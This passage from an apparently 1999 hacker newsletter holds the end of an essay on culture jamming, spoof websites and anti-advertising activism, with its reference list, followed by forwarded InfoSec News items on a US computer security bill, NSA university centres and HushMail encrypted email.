  6303.          G-7 conference in Germany, was rejected by the British Advertising Clearance
  6304.          Council as unacceptable. 
  6305.  
  6306.          A similar agency is The Centre for Media and
  6307.          Democracy, which focusses not just on advertising,
  6308.          but on public relations generally. As the agency's web
  6309.          site states, 
  6310.  
  6311.               Unlike advertising, public relations is often
  6312.               hard to recognize. "The best PR is invisible," say
  6313.               industry insiders. To spin the news in favor of
  6314.               their clients, PR firms specialize in setting up
  6315.               phony citizens' groups and scientific "experts"
  6316.               who spin out contrived research using junk
  6317.               science. 
  6318.  
  6319.          The Centre's main vehicle, like Adbusters, is a
  6320.          quarterly magazine, PR Watch, and they have released
  6321.          two books, Toxic Sludge Is Good For You: Lies, Damn
  6322.          Lies and the Public Relations Industry (1995) and Mad
  6323.          Cow USA: Could the Nightmare Happen Here? (1999). 
  6324.  
  6325.          The term Culture Jamming has its origins in the audio agitprop arena, and
  6326.          specifically, with an experimental-music and art collective known as Negativeland.
  6327.          They write on their website, 
  6328.  
  6329.               Advertising, especially the high tech seduction and emotional button
  6330.               pushing going on in national brand advertising, has become a special
  6331.               subject of interest for Negativland because of its telling view into the
  6332.               successful manipulation of the mass psyche, and the degree to which it
  6333.               exploits our common mental environment with the promotion of
  6334.               personal dissatisfaction and constant desire mongering on a universal
  6335.               scale. 
  6336.  
  6337.          Other anti-meme artists include The Seemen, "a collaborative of some forty odd art
  6338.          drop outs and extreme technology inventors who enjoy exploring their taste for the
  6339.          dark side of applied engineering in robot/kinetic art," and the Cacophony Society,
  6340.          including the The Los Angeles Cacophony Society and Cacophony Midwest,
  6341.          which recently launched the First Annual St. Louis Santa Rampage. "The
  6342.          Cacophony Society is an open network of creative malcontents, guerrilla artists,
  6343.          slackers, hooligans, kitsch-hounds, and anyone else interested in subverting
  6344.          primetime reality. You may already be a member!" 
  6345.  
  6346.  
  6347.           
  6348.                                      Hacking Memes 
  6349.  
  6350.  
  6351.  
  6352.          9. Electronic Warfare
  6353.  
  6354.          The meme hackers of the 70s and 80s were marginalized. Their reach was limited,
  6355.          and social commentary following their acts (and subsequent arrests) was
  6356.          uniformly negative. Society as a whole - so it seemed - branded them as vandals
  6357.          and anarchists, radicals and communists.
  6358.  
  6359.          With the advent of the internet in the late 80s and early 90s, meme hacking was
  6360.          given a new life. While their access to mainstream media was still limited, activists
  6361.          could now communicate with each other in rapid, free and uncensored messages.
  6362.          moreover, the internet - and especially the world wide web - gave them a means of
  6363.          reaching directly into the mainstream consciousness, bypassing the media
  6364.          altogether.
  6365.  
  6366.          Early electronic meme hacking consisted of two major tactics: slashing, and
  6367.          spamming.
  6368.  
  6369.          Slashing is the appropriation of an existing meme for subcultural purposes. The
  6370.          term "slashing" derives from pornographic "K/S" - short for "Kirk/Spock" - stories
  6371.          written by Star Trek fans and published in underground fanzines. The theme
  6372.          unifying such stories is Kirk and Spock's long homosexual affair - an affair only
  6373.          alluded to in the on-air version of the series.
  6374.  
  6375.          The development of 'fan fiction' in general - and more recently, fanzines, fan web
  6376.          sites, and fan discussion boards - has had the effect of removing control of the
  6377.          'product' from the corporate studio and into the hands of the general public. Star
  6378.          Trek, in particular, has been the subject of hundreds of fan pages, and when
  6379.          Paramount attempted to crack down on the sites (in order to promote its
  6380.          Microsoft-only version), fans rebelled.
  6381.  
  6382.          The first subversive spam was probably Joe Matheny's deluge of ascii frogs sent
  6383.          to the White House (in return for which, he received in good order a deluge of
  6384.          automated reply messages). Matheny quickly wrote a shell program to filter the
  6385.          auto-replies and return them to their sender, which set up an email loop. With the
  6386.          advent of its abuse by more corporate interests (ZDNet and Xoom take note),
  6387.          spamming has declined as a weapon of choice, revealing as it does a general
  6388.          disregard for its recipients needs and interests.
  6389.  
  6390.          An image -
  6391.  
  6392.               Eduardo Kac led things off with a slide presentation demonstrating how
  6393.               the Web can become a life source. During his experiment in 1996, people
  6394.               worldwide where asked to join a teleconference, anytime during a three
  6395.               week period. The participants simply aimed their cameras to the
  6396.               heavens so that light on the other end of their transmission could be
  6397.               used to grow a freshly planted seed, which had been isolated in total
  6398.               darkness. Through the nourishment of the white lights, the seedling
  6399.               grew to 18" in height and was later planted outside the Art Institute of
  6400.               Chicago. 
  6401.  
  6402.          The central question of electronic counterculture revolves around media itself:
  6403.          who owns it, who controls it, and who uses it. As Jesse Hirsh writes, "We need to
  6404.          examine the right to communicate, and the communication of our rights." Dery
  6405.          echoes this theme: 
  6406.  
  6407.               Who will have access to this cornucopia of information, and on what
  6408.               terms? Will fiber-optic superhighways make stored knowledge
  6409.               universally available, in the tradition of the public library, or will they
  6410.               merely facilitate psychological carpet bombing designed to soften up
  6411.               consumer defenses? And what of the network news? Will it be
  6412.               superseded by local broadcasts, with their heartwarming (always
  6413.               "heartwarming") tales of rescued puppies and shocking (always
  6414.               "shocking") stories of senseless mayhem, mortared together with
  6415.               airhead banter? Or will the Big Three give way to innumerable news
  6416.               channels, each a conduit for information about global, national and local
  6417.               events germane to a specific demographic? 
  6418.  
  6419.               Will cyberpunk telejournalists equipped with Hi-8 video cameras, digital
  6420.               scanners, and PC-based editing facilities hack their way into legitimate
  6421.               broadcasts? Or will they, in a medium of almost infinite bandwidth and
  6422.               channels beyond count, simply be given their own airtime? In short, will
  6423.               the electronic frontier be wormholed with "temporary autonomous
  6424.               zones"---Hakim Bey's term for pirate utopias, centrifuges in which social
  6425.               gravity is artificially suspended---or will it be subdivided and
  6426.               overdeveloped by what cultural critic Andrew Ross calls "the
  6427.               military-industrial-media complex?" 
  6428.  
  6429.          The answer lies in the nature of the internet. Everybody will have access to
  6430.          information. The very nature of cyberspace is that it is interpersonal and
  6431.          multidirectional. There is no control and - despite the best efforts of the censors -
  6432.          there is no overseer. We see for the first time the elements of mainstream media on
  6433.          the retreat, trying to legislate, trying to litigate, trying to appropriate. But as the
  6434.          nature of cyberspace is communication such efforts will be in vain, for
  6435.          communication is deeply personal, exactly the opposite of the mass media
  6436.          message. We see this through concrete examples of anti-meme activities on the
  6437.          net.
  6438.          
  6439.          
  6440.                                      Hacking Memes 
  6441.  
  6442.  
  6443.  
  6444.          10. The Network
  6445.  
  6446.          The internet is about community. This is a
  6447.          realization corporate culture realized too late. The
  6448.          recent received wisdom of electronic commerce
  6449.          is that to be successful, online advertising must
  6450.          foster the development of community. But the
  6451.          countercultural community is already well
  6452.          established and well entrenched.
  6453.  
  6454.          Entities such as San Francisco's Laughing Squid
  6455.          have been using the internet to advertise their
  6456.          monthly countercultural 'tentacle sessions' for
  6457.          years now. Alternative 'religions' - such as the
  6458.          Church of the SubGenius congregate online and
  6459.          poke fun at mainstream values and culture.
  6460.  
  6461.          Organizations such as the The center for
  6462.          Commercial-Free Public Education use the
  6463.          internet to post messages, coordinate activist
  6464.          campaigns, and spread information. Activists are able to publicize to each other
  6465.          the effects of their anti-meme activities, as for example, this post describes the
  6466.          subversion of a political campaign:
  6467.  
  6468.               Two weeks ago there was a story that made the headlines in the
  6469.               newspaper and Compass (PEI's Evening News). The story was that a
  6470.               pamphlet had been distributed in the riding of Barry Hicken, our Minister
  6471.               of Environmental Resources. The pamphlet was made to look like a
  6472.               campaign pamphlet, with pictures of Hicken and the Liberal Party logo. It
  6473.               stated things like: 
  6474.               -My job has as Minister of Environmental Resources has been very
  6475.               rewarding. I make over $74,000 a year. My wife still can't believe it.
  6476.               Please, please, please vote for me. I'll get you a job. I promise. 
  6477.  
  6478.          Agencies such as Tao "organize networks in order to defend and expand public
  6479.          space and the right to self-determination. (They) create knowledge through
  6480.          independent public interest research, and distribute it freely through participatory
  6481.          education." Other sites advise and promote subversive activities. The network is
  6482.          well entrenched and it's growing; there seems to be no interrupting the flow of
  6483.          communication.
  6484.  
  6485.          Online activism also enable people to shelter themselves from the mainstream
  6486.          culture. One recent tactic is called junk busting, which involves using proxy
  6487.          software to filter banners, cookies, and mask HTTP header data. A similar initiative
  6488.          attacks Intel and especially Intel's PSN (Processor Serial Number). And the fictional
  6489.          identity of Luther Bissett - complete with web site and email address - has been
  6490.          offered to the community at large for "communication guerrilla actions, hacktivism,
  6491.          civil disobedience (electronic and not) and radical mythopoesis."
  6492.          
  6493.          
  6494.                                      Hacking Memes 
  6495.  
  6496.  
  6497.  
  6498.          11. Web Ad Jamming and Spoof Sites
  6499.  
  6500.          A wide array of anti-advertsing sites, home page spoofs, and more express more
  6501.          clearly than any words the sentiments of the anti-meme movement.
  6502.  
  6503.          Spoof sites have probably existed since the advent of the World Wide Web, but in
  6504.          recent months their profile - and the litigation against them - has increased. The
  6505.          dean of corporate spoof sites is probably «TMark (pronounced 'Art Mark'). Originally
  6506.          an secretive and underground agency, «TMark has entered the public arena.
  6507.  
  6508.          «TMark is the behind the scenes broker of anti-meme mayhem. Projects are
  6509.          suggested by readers and staff, anonymous donors line up to fund different
  6510.          projects, and teams of activists carry out the plan. «TMark prenks have included
  6511.          switching the voice boxes in G.I. Joe and Barbie dolls, inserting homosexual
  6512.          couples in Sim Copter Graphics, and online, a scathing spoof site for Shell Oil, and
  6513.          most recently, a lavish G.W. Bush parody site.
  6514.  
  6515.          Corporate sites in general are ripe for spoof and parody. Happyclown, Inc. is 
  6516.  
  6517.               an exciting firm devoted to using a fresh and new approach to
  6518.               Corporate Communications; This young, modern and progressive
  6519.               Public Relations venture will make the aesthetic sensibilities of the New
  6520.               Generation available for the use of the familiar and trusted institutions of
  6521.               the Old Generation. 
  6522.  
  6523.          It is also several other things....
  6524.  
  6525.          Hole City presents the reader with a sideways
  6526.          look at media moguls.
  6527.  
  6528.               "It's a tremendous angle," says
  6529.               Rupert Murdoch, the media magnate
  6530.               whose fiery alliance with Satan has
  6531.               brought him fame, fortune and the Los
  6532.               Angeles Dodgers. "Our demographics
  6533.               indicate that Americans respond
  6534.               positively 53% of the time when we tell
  6535.               them the truth." 
  6536.  
  6537.          Other anti-corporate sites include Critical Mess Media (CMM), Mess Media's
  6538.          DisConnection (DisCo), and ZNet Anarchy Watch.
  6539.  
  6540.          A variation on this theme includes what the Culture Jammer's Enclyclopedia calls
  6541.          News Trolls: 
  6542.  
  6543.               If there's one thing that the left and the right can agree on, it's that the
  6544.               news is inaccurate, biased, and is more likely to cement popular
  6545.               prejudice than to uncover uncomfortable truths. So there's a certain
  6546.               satisfaction in deliberately planting absurd fiction among all the news
  6547.               that's fit. 
  6548.  
  6549.          Examples of fiction include the Arm the Homeless campaign, a computer that can
  6550.          replace judges, and the phoney Detroit gang incident.
  6551.  
  6552.          In Canada, underground tactics are employed by the Gurilla media - "media
  6553.          monkeywrenching for British Columbia, Canada" - purveyors of the National Post
  6554.          parody site and the Conrad Black Envy page: 
  6555.  
  6556.               Finally! A website for all of us who are profoundly envious of the
  6557.               Blacks-- Conrad and Barbara-- commanders-in-chief of the world's
  6558.               fastest growing press empire. This site is but a humble attempt to
  6559.               celebrate the Blacks' words and world: their unpretentious persiflage,
  6560.               personal pecuniary plentitude, pertinacious pedantry, proprietorial
  6561.               parsimony, perspicacious pomposity, and polymorphous periphrastic
  6562.               preeminence. 
  6563.  
  6564.          These and more patently false news sites cause some people to warn that "you
  6565.          can't trust everything you read on the internet". But their subversion is deeper -
  6566.          they inform the public that "you can't trust everything you read". No wonder news
  6567.          agencies and academics want to create "authoritative" web news sources.
  6568.  
  6569.          Another popular tactic reacts to the increasing commericalization of the web. A
  6570.          number of sites are creating and propogating spoof web ads. Such ads are meme
  6571.          hacking at its best - they lay generally ignored (check the top of this page) silently
  6572.          spreading subversion. 
  6573.  
  6574.          Spoof web ads are available on Positive Propaganda's unsorted banner page, from
  6575.          Chickenhead, Stay Free! Magazine, Abrupt's Holy War Now by 'Tony Alamo', and
  6576.          The Corporation's twisted children's companion, Cyberbear.
  6577.  
  6578.  
  6579.                                     Hacking Memes 
  6580.  
  6581.  
  6582.  
  6583.          12. The Anti-Meme
  6584.  
  6585.          The anti-meme is probably typified by the Kitty Porn site. The idea is to take an
  6586.          existing meme, alter it, and thus show its unreasonable or arbitrary nature. This is
  6587.          not a new idea - it was practised to great effect by the German philosopher
  6588.          Friedrich Nietzsche ("the transvaluation of value"). But online, such anti-memes
  6589.          are able for the first time to gain wide currency.
  6590.  
  6591.          Consider the spoof Alien Visitors Information Centre.
  6592.          This travelogue site makes fun of
  6593.          Chamber-of-Commerce inspired tourist brochures. But
  6594.          there is a deeper transvaluation:
  6595.  
  6596.               Kurt Waldheim is one of the large, hairy, upright-walking beasts selected
  6597.               as their leader though the recent United Nations model for better
  6598.               campground management. As U.N. secretary-general, Waldheim's
  6599.               personal greetings were launched in Voyagers 1 and 2, travelling AVIC
  6600.               kiosks in space which also carry the sounds of chimpanzees
  6601.               screeching. When we made those decisions, the management did not
  6602.               know Mr. Waldheim helped murder thousands of fellow humans during
  6603.               something significant called World War II. The employees who were
  6604.               responsible have been sacked. 
  6605.  
  6606.          The AVIC makes the very simple point that our contemporary culture is still capable
  6607.          of electing mass-murderers as world leaders, a fact verified by the many ongoing
  6608.          conflicts and genocides today.
  6609.  
  6610.          The anti-meme highlights the absurdity and even the moral decay of the
  6611.          mass-media meme: 
  6612.  
  6613.               Our society spends a lot of time telling us that there is some brand new,
  6614.               fresh cultural produce, generated from thin air and sunshine, slick and
  6615.               clean. They package it with pretty plastic & ribbons and then feed it to
  6616.               us. A lot gets thrown away: the ribbons, the wrapping; culture becomes
  6617.               garbage, or it dies, and rots behind the refrigerator. But the new fluffy
  6618.               shiny stuff still gets churned out, and it gets forced between our teeth.
  6619.               And we are told to swallow it. 
  6620.  
  6621.               We will not swallow. We will chew, and then spit. We will play with our
  6622.               food, and create something new and interesting from it. 
  6623.  
  6624.          This is similar to the Adbusters "Is Economic Progress Killing Our planet"
  6625.          campaign, and a host of other messages pointing to the waste and absurdity of the
  6626.          economic order as it exists today.
  6627.  
  6628.          The idea is to show that the sanitary culture presented in mass culture isn't the
  6629.          sanitary and stain-free entity the messages proclaim it to be. "The possibility of
  6630.          adding pimples to the retouched photo of the face on the cover of America are only
  6631.          now being seen as artistic territory." The anti-message is very simple: this is not
  6632.          good.
  6633.  
  6634.          Corporate and cultural abuses are legion, from the Exxon Valdiz oil spill to the
  6635.          Union Carbide poisoning of tens of thousands of people in Bhopal, India. Yet
  6636.          criticism is mute. As the Overcoming Consumerism site observes, 
  6637.  
  6638.               The often asked question, "why doesn't the media talk about corporate
  6639.               power?" and the frequent answer "because the corporations own the
  6640.               media...", really is a simplification of a wide-ranging process of
  6641.               power-sharing and wealth-retention that goes more to the kinds of
  6642.               people behind the corporations than the actual corporations themself. 
  6643.  
  6644.          The anti-meme is an attack not only on corporate and government policies and
  6645.          practises, but also on the media messages themselves. Hence, for example, we see
  6646.          sites such as White Dot, which ask, "What do you do if you don't watch TV?" 
  6647.  
  6648.          References
  6649.  
  6650.          Adbusters. Agency Website. http://adbusters.org
  6651.  
  6652.          Adbusters. is Economic Progress Killing the Planet. Media campaign. 1999.
  6653.          http://adbusters.org/progress/progress.html
  6654.  
  6655.          Adbusters. Brits miss out on G8 Summit message. Press Release. 1999
  6656.          http://www.adbusters.org/campaigns/economic-pressrelease.html
  6657.  
  6658.          Advertising Age. Corporate Web Site. http://www.adage.com/
  6659.  
  6660.          Alinsky, Saul. Titles, listed at Amazon.com.
  6661.          http://www.amazon.com/exec/obidos/Author%3DAlinsky%2C%20Saul%20D.
  6662.          /thecenterformediA/002-3999677-2858208
  6663.  
  6664.          Apocalyptic Optimism for the End of History. Culture Jamming. Web Site.
  6665.          http://www.abrupt.org/CJ/CJ.html
  6666.  
  6667.          Baffler, The. Commodify your dissent. Magazine - counterculture ideas and
  6668.          opinions. Purchase from http://www.dustygroove.com/baffler.htm
  6669.          Home site at http://www.thebaffler.org/
  6670.  
  6671.          Baumgertner, Peter, and Payr, Sabine. Learning as Action: A Social Science
  6672.          Approach to the Evaluation of Interactive Media. CSS Journal Volume 5 Number 2 -
  6673.          March/April, 1997. http://www.webcom.com/journal/baumgart.html
  6674.  
  6675.          Bennahum, David. Meme. Mailing List Web Site. http://memex.org/welcome.html
  6676.  
  6677.          Bennahum, David. Meme definition.
  6678.          http://www.ed.cqu.edu.au/~bigumc/Meme/meme_definition.html
  6679.  
  6680.          Big Brother Inside. Web Site. http://www.bigbrotherinside.com/
  6681.  
  6682.          Billboard Liberation Front. Agency Web Site. http://www.billboardliberation.com
  6683.  
  6684.          Bissett, Luther. 'Personal' home page. http://www.syntac.net/lutherblissett/
  6685.  
  6686.          Bourroughs, William S. The Electronic Revolution.
  6687.          http://www.syntac.net/dl/elerev2.html
  6688.  
  6689.          Brooks, Meredith. Bitch. 1998. Columbia Records.
  6690.          http://hollywoodandvine.com/starlandmotel/media/ram/video/
  6691.          meredithbrooks-bitch.ram
  6692.  
  6693.          First Annual St. Louis Santa Rampage. Web Site.
  6694.          http://home.postnet.com/~cacophony/santa.htm
  6695.  
  6696.          Canadian Broadcasting Corporation. Corporate Web Site. http://www.cbc.ca
  6697.  
  6698.          Centre for Media and Democracy. Agency Web Site. http://www.prwatch.org/
  6699.  
  6700.          Channel One Corporate Web Site. http://www.channelone.com
  6701.  
  6702.          Chickenhead. Zine. http://www.chickenhead.com
  6703.  
  6704.          CHUM Media Group. Corporate Web Site. http://www.chum.com
  6705.  
  6706.          Church of the SubGenius. Home Page. http://www.subgenius.com/
  6707.  
  6708.          Church of the SubGenius. We're the Happy People.
  6709.          http://www.subgenius.com/bigfist/ answers/rants/ad/ad.html
  6710.  
  6711.          Corcoran, Terence. Attack of the tomato killers. National Post, May 4, 1999.
  6712.          http://www.nationalpost.com/financialpost.asp?s2=opinion&s3=
  6713.          theeditor&f=990504/2555310.html
  6714.  
  6715.          Corporation, The. Parody. http://www.thecorporation.com/
  6716.  
  6717.          Corporation, The. Cyberbear. Parody. http://www.thecorporation.com/
  6718.          runninggags/cyberbear/index.html 
  6719.  
  6720.          Critical Mess Media (CMM). Parody site. http://www.rootmedia.org/~messmedia/
  6721.  
  6722.          Dawkins, Richard. The Selfish Gene. 1976. Book site with excerpts.
  6723.          http://www.spacelab.net/~catalj/selfpage.htm
  6724.  
  6725.          Dery, Mark. Culture Jamming: Hacking, Slashing and Sniping at the Empire of
  6726.          Signs. http://web.nwe.ufl.edu/~mlaffey/cultcover.html
  6727.  
  6728.          Detritus.net. Zine. Home Page. http://www.detritus.net/
  6729.  
  6730.          English, Ron. POPaganda: Illegal Billboards. Web Site.
  6731.          http://www.popaganda.com/Billboards/body_billboards.html
  6732.  
  6733.          Ewan, Stewart Ewan PR! A Social Theory of Spin. Book Site.
  6734.          http://www.bway.net/~drstu/
  6735.  
  6736.          Fisher, Ebon. The Alula Dimension. Web Art. Be patient - dig through it.
  6737.          http://www.users.interport.net/~outpost/ebon.html
  6738.  
  6739.          Fisher, Ebon. Mess up your neighbours: The Weird Thing Zone
  6740.          http://www.users.interport.net/~alula/weirdzone.html
  6741.  
  6742.          Garton, Andrew. Breaking the Loop: A spoken word / performance lecture. Based
  6743.          on the Internet/radio installation, Sensorium Connect. satellite Dispatch - Acustica -
  6744.          2.01 http://www.toysatellite.com.au/news/acustica/201/01.html
  6745.  
  6746.          Grytting, Wayne. Top NEWSPEAK Stories of the Month #113. Student Activists'
  6747.          Network. May, 1999. http://san.tao.ca/san01800.html
  6748.  
  6749.          Gurilla Media. Home Page. http://www.guerrillamedia.org/
  6750.  
  6751.          Gurilla Media. National Post parody site. Parody. http://www.national-post.8m.com/
  6752.  
  6753.          Gurilla Media. Conrad Black Envy. Parody. http://www.blackenvy.com/
  6754.  
  6755.          habitat2@cycor.ca culture jamming before the polls in PEI! Sat, 9 Nov 1996.
  6756.          http://www.tao.ca/earth/media-l/old/1/0051.html
  6757.  
  6758.          Hacker's Dictionary, The. Meme
  6759.          http://www.elsewhere.org/jargon/jargon_28.html#TAG1126
  6760.  
  6761.          Happyclown, Inc. Parody site. http://www.happyclown.com/mainmenu.html
  6762.  
  6763.          Hays, Constance L. Math Textbook Salted With Brand Names Raises New Alarm.
  6764.          NY Times, March 21, 1999. http://metalab.unc.edu/stayfree/public/math_texts.html
  6765.  
  6766.          Headspace. How to make Trouble and Influence - C is for Culture Jamming.
  6767.          Headspace Issue #4. http://www.abc.net.au/arts/headspace/rn/bbing/trouble/c.htm
  6768.  
  6769.          Henderson, Rich. Interview with Joe Matheny. Undated.
  6770.  
  6771.          Hirsh, Jesse. Culture Jamming: Democracy Now Campus Life 114, November 11,
  6772.          1998. http://www.campuslife.utoronto.ca/groups/varsity/archives/118/nov11/
  6773.          feature/culture.html 
  6774.  
  6775.          Idiosyntactix Arts and Sciences Alliance. Home Page. http://www.syntac.net/
  6776.  
  6777.          Idiosyntactix. Culture-Jammer's Enclyclopedia.
  6778.          http://www.syntac.net/hoax/index.html
  6779.  
  6780.          JunkBusters. Home Page. http://www.junkbusters.com/
  6781.  
  6782.          Karrera, Adam. Virtual Slap: A Keynote Presentation Web Review, June 23, 1998
  6783.          http://webreview.com/wr/pub/web98/tues/keynote.html
  6784.  
  6785.          Klatte, Arline. "Hey Gang, Let's Put On A Show" Survival Research Labs up against
  6786.          it...again SF Gate, July 6, 1998
  6787.          http://www.sfgate.com/cgi-bin/article.cgi?file=/technology/archive/ 1998/07/06/srl.dtl
  6788.  
  6789.          Lane, Randall. You are what you wear. Forbes, May 26, 1999.
  6790.          http://www.forbes.com/forbes/101496/5809042a.htm
  6791.  
  6792.          Laughing squid. Home Page. http://www.laughingsquid.com/
  6793.  
  6794.          McDonalds. Corporate Web Site. http://www.mcdonalds.com
  6795.  
  6796.          McLaren, Carrie. Review of the Baffler Issue 5. 1999?
  6797.          http://metalab.unc.edu/pub/electronic-publications/ stay-free/7/baffler.htm 
  6798.  
  6799.          Mclaren, Carrie. Advertising the Uncommercial. Matador, Issue #6 - 1999?
  6800.  
  6801.          Messmedia. DisConnection (DisCo). Parody site.
  6802.          http://messmedia.rootmedia.org/disconnection/
  6803.  
  6804.          National Post. The National Post. Corporate Web Site. http://www.nationalpost.com
  6805.  
  6806.          Negativeland. Negativeworldwidewebland. Band Web Site.
  6807.          http://www.negativland.com/
  6808.  
  6809.          Nike. Corporate Web Site. http://www.nike.com
  6810.  
  6811.          Overcoming Consumerism. Web Site.
  6812.          http://www.hooked.net/users/verdant/index.htm
  6813.  
  6814.          Positive Propaganda. Unsorted Banners. Ad Parodies.
  6815.          http://www.honeylocust.com/positive/unsort.html
  6816.  
  6817.          Practical Magic. Movie Web Site. 1998. Warner Brothers.
  6818.          http://www.practicalmagic.com Public Broadcasting System. Corporate Web Site.
  6819.          http://www.pbs.org
  6820.  
  6821.          Principia Cybernetica Web. Memetics. http://pespmc1.vub.ac.be/memes.html
  6822.  
  6823.          Quebec Public Interest Research Group Liberating Media: a weekend of culture
  6824.          jamming, media, and community democracy. 1997.
  6825.          http://www.tao.ca/earth/toronto/archive/1997/toronto00100.html 
  6826.  
  6827.          Reebok. Corporate Web Site. http://www.reebok.com
  6828.  
  6829.          «TMark. Home Page. http://www.rtmark.com
  6830.  
  6831.          «TMark. Full Projects List. http://www.rtmark.com/listallprojects.html
  6832.  
  6833.          «TMark. Shell. (Note - often not listed by DNS Servers - go figure)
  6834.          http://shell.rtmark.com
  6835.  
  6836.          «TMark. G.W.Bush.com http://www.gwbush.com
  6837.  
  6838.          saggau@earthlink.net Review of Rules for Radicals. Amazon.com, December 29,
  6839.          1998. http://www.amazon.com/exec/obidos/ASIN/0679721134/
  6840.          002-3999677-2858208
  6841.  
  6842.          Seemen, The. Society web site. http://www.seemen.org
  6843.  
  6844.          Sippey, Michael. Live or Memorex?. The Obvious, December 12, 1996.
  6845.          http://www.theobvious.com/archives/021296.html
  6846.  
  6847.          Stay Free! Magazine. Home Page. http://metalab.unc.edu/stayfree/
  6848.  
  6849.          Stay Free! Issue #13 marketing to Kids. Zine.
  6850.          http://metalab.unc.edu/stayfree/13/index.html
  6851.  
  6852.          Stay Free! Issue #14 Interview with Stewart Ewan. Zine.
  6853.          http://metalab.unc.edu/stayfree/14/ewen1.html
  6854.  
  6855.          Tao. Home Page. http://www.tao.ca
  6856.  
  6857.          Turner, John. Where Will They Strike Next?. Shift 7.3, May, 1999.
  6858.          http://www.shift.com/shiftstd/html/onlineTOC/1999/7.3/ html/ArtMark1.html 
  6859.  
  6860.          Vanatta, Rob. Meredith Brooks Net. Fan Site. 1997, 1998.
  6861.          http://web.csuchico.edu/~rvanatta/mbrooks/
  6862.  
  6863.          Whalen, John. The Mayhem is the Message Metroactive Cyberscape - 1995.
  6864.          http://www.metroactive.com/cyber/jamming.html 
  6865.  
  6866.          White Dot. Web Site. http://www.whitedot.org/welikeit.html
  6867.  
  6868.          Woolley, Wayne. Florida reporter falls for phony Detroit gang hoax on Internet The
  6869.          Detroit News, December 6, 1996.
  6870.          http://detnews.com/cyberia/culture/961206/hoax/hoax.htm
  6871.  
  6872.          ZNet. Anarchy Watch. Web Site. http://www.zmag.org/AWatch/awatch.htm 
  6873.  
  6874.          Email Stephen Downes at downes@newstrolls.com
  6875.          copyright newstrolls.com 1999 all rights reserved!
  6876.  
  6877.                                                    
  6878.  
  6879.        @HWA
  6880.        
  6881.  29.0 [ISN] House panel aims to bolster  security law
  6882.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  6883.  
  6884.       Date: Fri, 21 May 1999 00:58:50 -0600 (MDT) 
  6885.       From: cult hero <jericho@dimensional.com> 
  6886.       To: InfoSec News <isn@repsec.com> 
  6887.       Subject: [ISN] House panel aims to bolster security law 
  6888.       
  6889.       
  6890.       
  6891.       Forwarded From: William Knowles <erehwon@kizmiaz.dis.org>
  6892.       
  6893.       
  6894.       http://www.fcw.com/pubs/fcw/1999/0517/web-security-5-20-99.html
  6895.       
  6896.       
  6897.       House panel aims to bolster security law
  6898.       
  6899.       
  6900.       (Federal Computer Week) [5.20.99] WASHINGTON, D.C. -- The House Science
  6901.       Committee plans to make another push to update a 1989 law that requires
  6902.       civilian agencies to take measures to protect their computer systems,
  6903.       according to Rep. Constance Morella (R-Md.), chairwoman of the Technology
  6904.       Subcommittee of the House Science Committee. 
  6905.       
  6906.       
  6907.       The new bill, which could be introduced as early as next week, would
  6908.       revamp the 10-year-old Computer Security Act.  The bill will closely
  6909.       resemble the Computer Security Enhancement Act of 1997, which the House
  6910.       passed only to have it die in the Senate last year, said Morella, speaking
  6911.       at a symposium sponsored by the SmartCard Forum.
  6912.       Like the 1997 bill, the proposed legislation would tap the National
  6913.       Institute of Standards and Technology as the lead agency for information
  6914.       security. The preceding bill also would have required NIST to promote
  6915.       federal use of commercial off-the-shelf products for civilian security
  6916.       needs.
  6917.       
  6918.       
  6919.       The committee first began its effort to revamp the existing law to reflect
  6920.       the proliferation of network technology that has left agency data more
  6921.       vulnerable to corruption and theft, Morella said in 1997.
  6922.       
  6923.       
  6924.       
  6925.       
  6926.       -o-
  6927.       Subscribe: mail majordomo@repsec.com with "subscribe isn".
  6928.       Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
  6929.       
  6930.       @HWA
  6931.       
  6932.  30.0 [ISN] NSA Taps Universities For Info Security Studies 
  6933.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  6934.       
  6935.       Date: Fri, 21 May 1999 01:13:40 -0600 (MDT) 
  6936.       From: cult hero <jericho@dimensional.com> 
  6937.       To: InfoSec News <isn@repsec.com> 
  6938.       Subject: [ISN] NSA Taps Universities For Info Security Studies 
  6939.       
  6940.       
  6941.       
  6942.       Forwarded From: SpyKing@con2.com
  6943.       
  6944.       
  6945.       NSA Taps Universities For Info Security Studies 
  6946.       
  6947.       
  6948.       The National Security Agency has designated seven U.S. universities as
  6949.       centers for information-security education, the agency said Tuesday. The
  6950.       NSA, a super-secret spy agency that wields broad power over U.S.
  6951.       encryption policy, named two private Virginia universities and a handful
  6952.       of state universities as Centers of Academic Excellence in Information
  6953.       Assurance Education. They are:  James Madison University, George Mason
  6954.       University, Idaho State University, Iowa State University, Purdue
  6955.       University, University of California at Davis, and the University of
  6956.       Idaho.The centers are expected to become "focal points for recruiting, and
  6957.       may create a climate to encourage independent research in information
  6958.       assurance," the NSA said.The agency said the decision to launch the
  6959.       information-assurance program represented an attempt to reach out and form
  6960.       partnerships with industry pursuant to a Clinton administration directive
  6961.       last year on critical infrastructure protection.The seven centers will be
  6962.       formally recognized during a conference on information-security systems
  6963.       scheduled for May 25 to 29 at IBM's conference facility in Palisades, N.Y.
  6964.       
  6965.       
  6966.       <http://www.techweb.com/wire/story/TWB19990512S0005 >
  6967.       
  6968.       
  6969.       -o-
  6970.       Subscribe: mail majordomo@repsec.com with "subscribe isn".
  6971.       Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
  6972.       
  6973.       @HWA      
  6974.       
  6975.  31.0 [ISN] HushMail: free Web-based email with bulletproof encryption 
  6976.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  6977.  
  6978.       Date: Sat, 22 May 1999 06:16:04 -0600 (MDT) 
  6979.       From: cult hero <jericho@dimensional.com> 
  6980.       To: InfoSec News <isn@repsec.com> 
  6981.       Subject: [ISN] HushMail: free Web-based email with bulletproof encryption 
  6982.       
  6983.       Forwarded From: Keith Dawson <dawson@world.std.com>
  6984.       
  6985.       
  6986.       1999-05-19:
  6987.       
  6988.       
  6989.       ..HushMail: free Web-based email with bulletproof encryption
  6990.       
  6991.       
  6992.       Hush Communications has quietly begun beta testing a significant
  6993.       development in email privacy. HushMail [1] works like Hotmail or
  6994.       Rocketmail -- you can set up multiple free accounts and access them from
  6995.       any Web browser anywhere -- but when you email another HushMail user your
  6996.       communication is protected by unbreakable encryption. The crypto,
